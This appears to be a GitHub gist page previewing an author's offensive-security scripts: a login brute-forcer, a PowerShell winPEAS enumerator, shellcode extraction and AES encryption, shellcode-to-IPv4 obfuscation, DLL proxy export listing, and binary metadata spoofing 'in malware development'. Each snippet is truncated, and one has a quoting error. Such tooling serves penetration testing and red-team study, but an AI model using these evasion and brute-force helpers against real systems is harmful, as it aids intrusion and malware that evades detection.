Skip to content

Instantly share code, notes, and snippets.

@caueb
caueb / mac_changer.py
Created October 7, 2018 06:24
MAC Address Changer
#!/usr/bin/env python
import subprocess
import optparse
import re
def get_arguments():
parser = optparse.OptionParser()
parser.add_option("-i", "--interface", dest="interface", help="Interface to change its MAC address")
parser.add_option("-m", "--mac", dest="new_mac", help="New MAC address")
@caueb
caueb / gen_usernames.py
Last active May 17, 2024 06:54
Generate a list of usernames making different combinations from Name + Lastname.
#!/usr/bin/env python
import sys
import os.path
import argparse
def generate_usernames(fname, lname, domain):
usernames = [
f"{fname}{lname}@{domain}", # johndoe@domain.com
f"{lname}{fname}@{domain}", # doejohn@domain.com
f"{fname}.{lname}@{domain}", # john.doe@domain.com
@caueb
caueb / login_brute.py
Created February 16, 2022 23:39
Basic login bruteforce using a provided wordlist.
#!/usr/bin/env python
import requests
target_url = "http://10.10.10.240/login.php"
data_dict = "{"username": "admin", "password": "", "Login": "submit"}"
with open("/home/kali/Desktop/passwords.txt", "r") as wordlist_file:
for line in wordlist_file:
word = line.strip()
@caueb
caueb / powershell_winPEAS.ps1
Created April 19, 2023 05:47
Powershell winpeas
This file has been truncated, but you can view the full file.
function Invoke-winPEAS
{
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullorEmpty()]
[String]
$Command
)
@caueb
caueb / shellcode.py
Created April 25, 2023 23:31
Extract shellcode from binary -> hex bytes
import sys
# Check if file argument is provided
if len(sys.argv) != 2:
print("Usage: python shellcode_to_hex.py <shellcode_file>")
sys.exit(1)
shellcode_file = sys.argv[1]
try:
@caueb
caueb / shellcode.py
Created July 14, 2023 08:55
Convert binary to shellcode
import sys
# Check if file argument is provided
if len(sys.argv) != 2:
print("Usage: python shellcode.py <shellcode_file>")
sys.exit(1)
shellcode_file = sys.argv[1]
try:
@caueb
caueb / bintoaes.py
Created July 14, 2023 08:59
AES encrypt binary and save the encrypted shellcode to a file.
import sys
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
import hashlib
KEY = get_random_bytes(16)
iv = 16 * b'\x00'
cipher = AES.new(hashlib.sha256(KEY).digest(), AES.MODE_CBC, iv)
@caueb
caueb / getdllfunctions.py
Last active September 20, 2023 01:22
Get all functions of a DLL file. Useful to build DLL proxy projects.
# Install dependencies
# pip install pefile
import pefile
import optparse
import os
def test(path):
if os.path.exists(path) == False:
print("[-] File Not Found: {}".format(path))
@caueb
caueb / getbinmetadata.ps1
Last active August 16, 2023 07:03
Extract binary metadata. Useful to spoof binary metadata in malware development.
# Usage: .\getbinmetadata.ps1 -File 7-zip.exe
param(
[Parameter(Mandatory = $true)]
[ValidateScript({Test-Path $_ -PathType Leaf})]
[string]$File
)
# Retrieve basic properties
$fileProperties = Get-ItemProperty -Path $File
@caueb
caueb / bintoipv4.py
Last active April 5, 2024 05:11
Convert binary to IPv4 format.
from ipaddress import ip_address
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(4)
ip_addresses = []